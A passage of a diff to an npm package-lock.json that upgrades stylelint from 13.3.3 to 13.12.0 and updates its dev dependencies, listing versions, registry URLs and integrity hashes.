+ "string.prototype.trimend": "^1.0.4",
+ "string.prototype.trimstart": "^1.0.4",
+ "unbox-primitive": "^1.0.0"
+ },
+ "dependencies": {
+ "has-symbols": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz",
+ "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==",
+ "dev": true
+ }
+ }
+ },
+ "is-callable": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz",
+ "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==",
+ "dev": true
+ },
+ "is-regex": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz",
+ "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "has-symbols": "^1.0.1"
+ }
+ },
+ "object-inspect": {
+ "version": "1.9.0",
+ "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz",
+ "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==",
+ "dev": true
+ },
+ "object.assign": {
+ "version": "4.1.2",
+ "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz",
+ "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.0",
+ "define-properties": "^1.1.3",
+ "has-symbols": "^1.0.1",
+ "object-keys": "^1.1.1"
+ }
+ },
+ "regexp.prototype.flags": {
+ "version": "1.3.1",
+ "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.3.1.tgz",
+ "integrity": "sha512-JiBdRBq91WlY7uRJ0ds7R+dU02i6LKi8r3BuQhNXn+kmeLN+EfHhfjqMRis1zJxnlu88hq/4dx0P2OP3APRTOA==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "define-properties": "^1.1.3"
+ }
+ },
+ "string.prototype.trimend": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz",
+ "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "define-properties": "^1.1.3"
+ }
+ },
+ "string.prototype.trimstart": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz",
+ "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "define-properties": "^1.1.3"
+ }
+ }
}
},
"string.prototype.trimend": {
@@ -16202,27 +20716,16 @@
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
"integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
- "requires": {
- "safe-buffer": "~5.1.0"
- }
- },
- "stringify-entities": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-3.0.1.tgz",
- "integrity": "sha512-Lsk3ISA2++eJYqBMPKcr/8eby1I6L0gP0NlxF8Zja6c05yr/yCYyb2c9PwXjd08Ib3If1vn1rbs1H5ZtVuOfvQ==",
"dev": true,
"requires": {
- "character-entities-html4": "^1.0.0",
- "character-entities-legacy": "^1.0.0",
- "is-alphanumerical": "^1.0.0",
- "is-decimal": "^1.0.2",
- "is-hexadecimal": "^1.0.0"
+ "safe-buffer": "~5.1.0"
}
},
"strip-ansi": {
"version": "3.0.1",
"resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
"integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=",
+ "dev": true,
"requires": {
"ansi-regex": "^2.0.0"
}
@@ -16239,7 +20742,8 @@
"strip-eof": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/strip-eof/-/strip-eof-1.0.0.tgz",
- "integrity": "sha1-u0P/VZim6wXYm1n80SnJgzE2Br8="
+ "integrity": "sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=",
+ "dev": true
},
"strip-indent": {
"version": "1.0.1",
@@ -16285,61 +20789,73 @@
"dev": true
},
"stylelint": {
- "version": "13.3.3",
- "resolved": "https://registry.npmjs.org/stylelint/-/stylelint-13.3.3.tgz",
- "integrity": "sha512-j8Oio2T1YNiJc6iXDaPYd74Jg4zOa1bByNm/g9/Nvnq4tDPsIjMi46jhRZyPPktGPwjJ5FwcmCqIRlH6PVP8mA==",
+ "version": "13.12.0",
+ "resolved": "https://registry.npmjs.org/stylelint/-/stylelint-13.12.0.tgz",
+ "integrity": "sha512-P8O1xDy41B7O7iXaSlW+UuFbE5+ZWQDb61ndGDxKIt36fMH50DtlQTbwLpFLf8DikceTAb3r6nPrRv30wBlzXw==",
"dev": true,
"requires": {
- "@stylelint/postcss-css-in-js": "^0.37.1",
- "@stylelint/postcss-markdown": "^0.36.1",
- "autoprefixer": "^9.7.6",
+ "@stylelint/postcss-css-in-js": "^0.37.2",
+ "@stylelint/postcss-markdown": "^0.36.2",
+ "autoprefixer": "^9.8.6",
"balanced-match": "^1.0.0",
- "chalk": "^4.0.0",
- "cosmiconfig": "^6.0.0",
- "debug": "^4.1.1",
+ "chalk": "^4.1.0",
+ "cosmiconfig": "^7.0.0",
+ "debug": "^4.3.1",
"execall": "^2.0.0",
- "file-entry-cache": "^5.0.1",
- "get-stdin": "^7.0.0",
+ "fast-glob": "^3.2.5",
+ "fastest-levenshtein": "^1.0.12",
+ "file-entry-cache": "^6.0.1",
+ "get-stdin": "^8.0.0",
"global-modules": "^2.0.0",
- "globby": "^11.0.0",
+ "globby": "^11.0.2",
"globjoin": "^0.1.4",
"html-tags": "^3.1.0",
- "ignore": "^5.1.4",
+ "ignore": "^5.1.8",
"import-lazy": "^4.0.0",
"imurmurhash": "^0.1.4",
- "known-css-properties": "^0.18.0",
- "leven": "^3.1.0",
- "lodash": "^4.17.15",
- "log-symbols": "^3.0.0",
+ "known-css-properties": "^0.21.0",
+ "lodash": "^4.17.21",
+ "log-symbols": "^4.0.0",
"mathml-tag-names": "^2.1.3",
- "meow": "^6.1.0",
+ "meow": "^9.0.0",
"micromatch": "^4.0.2",
"normalize-selector": "^0.2.0",
- "postcss": "^7.0.27",
+ "postcss": "^7.0.35",
"postcss-html": "^0.36.0",
"postcss-less": "^3.1.4",
"postcss-media-query-parser": "^0.2.3",
- "postcss-reporter": "^6.0.1",
"postcss-resolve-nested-selector": "^0.1.1",
"postcss-safe-parser": "^4.0.2",
"postcss-sass": "^0.4.4",
- "postcss-scss": "^2.0.0",
- "postcss-selector-parser": "^6.0.2",
+ "postcss-scss": "^2.1.1",
+ "postcss-selector-parser": "^6.0.4",
"postcss-syntax": "^0.36.2",
- "postcss-value-parser": "^4.0.3",
+ "postcss-value-parser": "^4.1.0",
"resolve-from": "^5.0.0",
"slash": "^3.0.0",
"specificity": "^0.4.1",
- "string-width": "^4.2.0",
+ "string-width": "^4.2.2",
"strip-ansi": "^6.0.0",
"style-search": "^0.1.0",
"sugarss": "^2.0.0",
"svg-tags": "^1.0.0",
- "table": "^5.4.6",
- "v8-compile-cache": "^2.1.0",
+ "table": "^6.0.7",
+ "v8-compile-cache": "^2.2.0",
"write-file-atomic": "^3.0.3"
},
"dependencies": {
+ "ajv": {
+ "version": "8.1.0",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.1.0.tgz",
+ "integrity": "sha512-B/Sk2Ix7A36fs/ZkuGLIR86EdjbgR6fsAcbx9lOP/QBSXujDNbVmIS/U4Itz5k8fPFDeVZl/zQ/gJW4Jrq6XjQ==",
+ "dev": true,
+ "requires": {
+ "fast-deep-equal": "^3.1.1",
+ "json-schema-traverse": "^1.0.0",
+ "require-from-string": "^2.0.2",
+ "uri-js": "^4.2.2"
+ }
+ },
"ansi-regex": {
"version": "5.0.0",
"resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz",
@@ -16347,15 +20863,20 @@
"dev": true
},
"ansi-styles": {
- "version": "4.2.1",
- "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz",
- "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==",
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
"dev": true,
"requires": {
- "@types/color-name": "^1.1.1",
"color-convert": "^2.0.1"
}
},
+ "astral-regex": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-2.0.0.tgz",
+ "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==",
+ "dev": true
+ },
"braces": {
"version": "3.0.2",
"resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
@@ -16383,9 +20904,9 @@
}
},
"chalk": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.0.0.tgz",
- "integrity": "sha512-N9oWFcegS0sFr9oh1oz2d7Npos6vNoWW9HvtCg5N1KRFpUhaAhvTv5Y58g880fZaEYSNm3qDz8SU1UrGvp+n7A==",
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz",
+ "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==",
"dev": true,
"requires": {
"ansi-styles": "^4.1.0",
@@ -16407,13 +20928,26 @@
"integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
"dev": true
},
- "debug": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
- "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
+ "cosmiconfig": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.0.0.tgz",
+ "integrity": "sha512-pondGvTuVYDk++upghXJabWzL6Kxu6f26ljFw64Swq9v6sQPUL3EUlVDV56diOjpCayKihL6hVe8exIACU4XcA==",
"dev": true,
"requires": {
- "ms": "^2.1.1"
+ "@types/parse-json": "^4.0.0",
+ "import-fresh": "^3.2.1",
+ "parse-json": "^5.0.0",
+ "path-type": "^4.0.0",
+ "yaml": "^1.10.0"
+ }
+ },
+ "debug": {
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
+ "requires": {
+ "ms": "2.1.2"
}
},
"emoji-regex": {
@@ -16422,6 +20956,15 @@
"integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
"dev": true
},
+ "file-entry-cache": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz",
+ "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==",
+ "dev": true,
+ "requires": {
+ "flat-cache": "^3.0.4"
+ }
+ },
"fill-range": {
"version": "7.0.1",
"resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
@@ -16441,10 +20984,26 @@
"path-exists": "^4.0.0"
}
},
+ "flat-cache": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz",
+ "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==",
+ "dev": true,
+ "requires": {
+ "flatted": "^3.1.0",
+ "rimraf": "^3.0.2"
+ }
+ },
+ "flatted": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.1.1.tgz",
+ "integrity": "sha512-zAoAQiudy+r5SvnSw3KJy5os/oRJYHzrzja/tBDqrZtNhUw8bt6y8OBzMWcjWr+8liV8Eb6yOhw8WZ7VFZ5ZzA==",
+ "dev": true
+ },
"get-stdin": {
- "version": "7.0.0",
- "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-7.0.0.tgz",
- "integrity": "sha512-zRKcywvrXlXsA0v0i9Io4KDRaAw7+a1ZpjRwl9Wox8PFlVCCHra7E9c4kqXCoCM9nR5tBkaTTZRBoCm60bFqTQ==",
+ "version": "8.0.0",
+ "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-8.0.0.tgz",
+ "integrity": "sha512-sY22aA6xchAzprjyqmSEQv4UbAAzRN0L2dQB0NlN5acTTK9Don6nhoc3eAbUnpZiCANAMfd/+40kVdKfFygohg==",
"dev": true
},
"has-flag": {
@@ -16453,10 +21012,25 @@
"integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
"dev": true
},
+ "hosted-git-info": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.0.2.tgz",
+ "integrity": "sha512-c9OGXbZ3guC/xOlCg1Ci/VgWlwsqDv1yMQL1CWqXDL0hDjXuNcq0zuR4xqPSuasI3kqFDhqSyTjREz5gzq0fXg==",
+ "dev": true,
+ "requires": {
+ "lru-cache": "^6.0.0"
+ }
+ },
"ignore": {
- "version": "5.1.4",
- "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.4.tgz",
- "integrity": "sha512-MzbUSahkTW1u7JpKKjY7LCARd1fU5W2rLdxlM4kdkayuCwZImjkpluF9CM1aLewYJguPDqewLam18Y6AU69A8A==",
+ "version": "5.1.8",
+ "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.8.tgz",
+ "integrity": "sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw==",
+ "dev": true
+ },
+ "import-lazy": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-4.0.0.tgz",
+ "integrity": "sha512-rKtvo6a868b5Hu3heneU+L4yEQ4jYKLtjpnPeUdK7h0yzXGmyBTypknlkCvHFBqfX9YlorEiMM6Dnq/5atfHkw==",
"dev": true
},
"indent-string": {
@@ -16477,6 +21051,12 @@
"integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
"dev": true
},
+ "json-schema-traverse": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
+ "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==",
+ "dev": true
+ },
"locate-path": {
"version": "5.0.0",
"resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
@@ -16486,39 +21066,55 @@
"p-locate": "^4.1.0"
}
},
+ "lodash": {
+ "version": "4.17.21",
+ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
+ "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==",
+ "dev": true
+ },
+ "lru-cache": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
+ "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
+ "dev": true,
+ "requires": {
+ "yallist": "^4.0.0"
+ }
+ },
"map-obj": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.1.0.tgz",
- "integrity": "sha512-glc9y00wgtwcDmp7GaE/0b0OnxpNJsVf3ael/An6Fe2Q51LLwN1er6sdomLRzz5h0+yMpiYLhWYF5R7HeqVd4g==",
+ "version": "4.2.1",
+ "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.2.1.tgz",
+ "integrity": "sha512-+WA2/1sPmDj1dlvvJmB5G6JKfY9dpn7EVBUL06+y6PoljPkh+6V1QihwxNkbcGxCRjt2b0F9K0taiCuo7MbdFQ==",
"dev": true
},
"meow": {
- "version": "6.1.1",
- "resolved": "https://registry.npmjs.org/meow/-/meow-6.1.1.tgz",
- "integrity": "sha512-3YffViIt2QWgTy6Pale5QpopX/IvU3LPL03jOTqp6pGj3VjesdO/U8CuHMKpnQr4shCNCM5fd5XFFvIIl6JBHg==",
+ "version": "9.0.0",
+ "resolved": "https://registry.npmjs.org/meow/-/meow-9.0.0.tgz",
+ "integrity": "sha512-+obSblOQmRhcyBt62furQqRAQpNyWXo8BuQ5bN7dG8wmwQ+vwHKp/rCFD4CrTP8CsDQD1sjoZ94K417XEUk8IQ==",
"dev": true,
"requires": {
"@types/minimist": "^1.2.0",
"camelcase-keys": "^6.2.2",
+ "decamelize": "^1.2.0",
"decamelize-keys": "^1.1.0",
"hard-rejection": "^2.1.0",
- "minimist-options": "^4.0.2",
- "normalize-package-data": "^2.5.0",
+ "minimist-options": "4.1.0",
+ "normalize-package-data": "^3.0.0",
"read-pkg-up": "^7.0.1",
"redent": "^3.0.0",
"trim-newlines": "^3.0.0",
- "type-fest": "^0.13.1",
- "yargs-parser": "^18.1.3"
+ "type-fest": "^0.18.0",
+ "yargs-parser": "^20.2.3"
}
},
"micromatch": {
- "version": "4.0.2",
- "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz",
- "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==",
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz",
+ "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==",
"dev": true,
"requires": {
"braces": "^3.0.1",
- "picomatch": "^2.0.5"
+ "picomatch": "^2.2.3"
}
},
"ms": {
@@ -16527,6 +21123,18 @@
"integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
"dev": true
},
+ "normalize-package-data": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-3.0.2.tgz",
+ "integrity": "sha512-6CdZocmfGaKnIHPVFhJJZ3GuR8SsLKvDANFp47Jmy51aKIr8akjAWTSxtpI+MBgBFdSMRyo4hMpDlT6dTffgZg==",
+ "dev": true,
+ "requires": {
+ "hosted-git-info": "^4.0.1",
+ "resolve": "^1.20.0",
+ "semver": "^7.3.4",
+ "validate-npm-package-license": "^3.0.1"
+ }
+ },
"p-locate": {
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
@@ -16542,6 +21150,12 @@
"integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==",
"dev": true
},
+ "quick-lru": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-4.0.1.tgz",
+ "integrity": "sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==",
+ "dev": true
+ },
"read-pkg": {
"version": "5.2.0",
"resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-5.2.0.tgz",
@@ -16554,6 +21168,30 @@
"type-fest": "^0.6.0"
},
"dependencies": {
+ "hosted-git-info": {
+ "version": "2.8.9",
+ "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz",
+ "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==",
+ "dev": true
+ },
+ "normalize-package-data": {
+ "version": "2.5.0",
+ "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz",
+ "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==",
+ "dev": true,
+ "requires": {
+ "hosted-git-info": "^2.1.4",
+ "resolve": "^1.10.0",
+ "semver": "2 || 3 || 4 || 5",
+ "validate-npm-package-license": "^3.0.1"
+ }
+ },
+ "semver": {
+ "version": "5.7.1",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
+ "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==",
+ "dev": true
+ },
"type-fest": {
"version": "0.6.0",
"resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.6.0.tgz",
@@ -16591,22 +21229,61 @@
"strip-indent": "^3.0.0"
}
},
+ "resolve": {
+ "version": "1.20.0",
+ "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.20.0.tgz",
+ "integrity": "sha512-wENBPt4ySzg4ybFQW2TT1zMQucPK95HSh/nq2CFTZVOGut2+pQvSsgtda4d26YrYcr067wjbmzOG8byDPBX63A==",
+ "dev": true,
+ "requires": {
+ "is-core-module": "^2.2.0",
+ "path-parse": "^1.0.6"
+ }
+ },
"resolve-from": {
"version": "5.0.0",
"resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
"integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==",
"dev": true
},
+ "rimraf": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
+ "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+ "dev": true,
+ "requires": {
+ "glob": "^7.1.3"
+ }
+ },
+ "semver": {
+ "version": "7.3.5",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz",
+ "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==",
+ "dev": true,
+ "requires": {
+ "lru-cache": "^6.0.0"
+ }
+ },
"slash": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
"integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
"dev": true
},
+ "slice-ansi": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-4.0.0.tgz",
+ "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==",
+ "dev": true,
+ "requires": {
+ "ansi-styles": "^4.0.0",
+ "astral-regex": "^2.0.0",
+ "is-fullwidth-code-point": "^3.0.0"
+ }
+ },
"string-width": {
- "version": "4.2.0",
- "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.0.tgz",
- "integrity": "sha512-zUz5JD+tgqtuDjMhwIg5uFVV3dtqZ9yQJlZVfq4I01/K5Paj5UHj7VyrQOJvzawSVlKpObApbfD0Ed6yJc+1eg==",
+ "version": "4.2.2",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz",
+ "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==",
"dev": true,
"requires": {
"emoji-regex": "^8.0.0",
@@ -16633,14 +21310,31 @@
}
},
"supports-color": {
- "version": "7.1.0",
- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
- "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
"dev": true,
"requires": {
"has-flag": "^4.0.0"
}
},
+ "table": {
+ "version": "6.0.9",
+ "resolved": "https://registry.npmjs.org/table/-/table-6.0.9.tgz",
+ "integrity": "sha512-F3cLs9a3hL1Z7N4+EkSscsel3z55XT950AvB05bwayrNg5T1/gykXtigioTAjbltvbMSJvvhFCbnf6mX+ntnJQ==",
+ "dev": true,
+ "requires": {
+ "ajv": "^8.0.1",
+ "is-boolean-object": "^1.1.0",
+ "is-number-object": "^1.0.4",
+ "is-string": "^1.0.5",
+ "lodash.clonedeep": "^4.5.0",
+ "lodash.flatten": "^4.4.0",
+ "lodash.truncate": "^4.4.2",
+ "slice-ansi": "^4.0.0",
+ "string-width": "^4.2.0"
+ }
+ },
"to-regex-range": {
"version": "5.0.1",
"resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
@@ -16657,20 +21351,28 @@
"dev": true
},
"type-fest": {
- "version": "0.13.1",
- "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.13.1.tgz",
- "integrity": "sha512-34R7HTnG0XIJcBSn5XhDd7nNFPRcXYRZrBB2O2jdKqYODldSzBAqzsWoZYYvduky73toYS/ESqxPvkDf/F0XMg==",
+ "version": "0.18.1",
+ "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.18.1.tgz",
+ "integrity": "sha512-OIAYXk8+ISY+qTOwkHtKqzAuxchoMiD9Udx+FSGQDuiRR+PJKJHc2NJAXlbhkGwTt/4/nKZxELY1w3ReWOL8mw==",
+ "dev": true
+ },
+ "v8-compile-cache": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz",
+ "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==",
+ "dev": true
+ },
+ "yallist": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
